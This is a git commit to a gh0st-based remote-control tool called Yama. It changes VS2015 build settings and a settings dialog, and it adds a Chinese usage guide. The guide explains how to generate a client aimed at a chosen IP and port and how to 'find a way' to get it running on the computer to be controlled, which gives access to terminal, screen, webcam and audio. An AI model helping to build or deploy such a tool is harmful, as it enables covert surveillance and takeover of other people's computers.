style:解决采用VS2015编译时某些项目不通过的问题
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
[简介]
|
||||
[简介]
|
||||
|
||||
基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||
|
||||
@@ -213,3 +213,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足
|
||||
|
||||
2019.5.11
|
||||
优化远程桌面发送屏幕的功能,可动态调整发送屏幕的速率。
|
||||
|
||||
2019.8.25
|
||||
调整项目设置,解决采用VS2015编译时某些项目不通过的问题。
|
||||
|
||||
@@ -44,16 +44,18 @@
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
@@ -72,7 +74,7 @@
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
|
||||
@@ -43,10 +43,12 @@
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
|
||||
Binary file not shown.
@@ -96,3 +96,11 @@ void CSettingDlg::OnEnChangeEditMax()
|
||||
::ShowWindow(hApplyButton,SW_NORMAL);
|
||||
::EnableWindow(hApplyButton,TRUE);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnOK()
|
||||
{
|
||||
OnBnClickedButtonSettingapply();
|
||||
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
@@ -27,4 +27,5 @@ public:
|
||||
afx_msg void OnEnChangeEditPort();
|
||||
afx_msg void OnEnChangeEditMax();
|
||||
CButton m_ApplyButton;
|
||||
virtual void OnOK();
|
||||
};
|
||||
|
||||
17
使用方法.txt
Normal file
17
使用方法.txt
Normal file
@@ -0,0 +1,17 @@
|
||||
【使用方法】
|
||||
|
||||
首先请编译这4个项目,确保都成功通过,然后到生成目录,例如Debug(或Release)。
|
||||
|
||||
1、打开Yama应用程序,点击Yama应用程序的“生成客户端”图标;
|
||||
|
||||
2、填写目标IP(可以填域名,例如www.baidu.com)和端口(例如6666);
|
||||
|
||||
3、点击“确定”,这时候会在Debug目录生成一个名为"ClientDemo.exe"的可执行程序;
|
||||
|
||||
4、想办法把"ClientDemo.exe"和"ServerDll.dll"一起拷贝到想要被控制的电脑,运行起来;
|
||||
|
||||
5、把Yama拷贝到目标IP的机器运行起来,点击设置菜单,设置端口号为6666,点击“应用”或“确定”按钮;
|
||||
|
||||
6、重启Yama,等待被控电脑连接,如果有电脑运行了"ClientDemo.exe",则会在界面显示。
|
||||
|
||||
2019-8-25
|
||||
Reference in New Issue
Block a user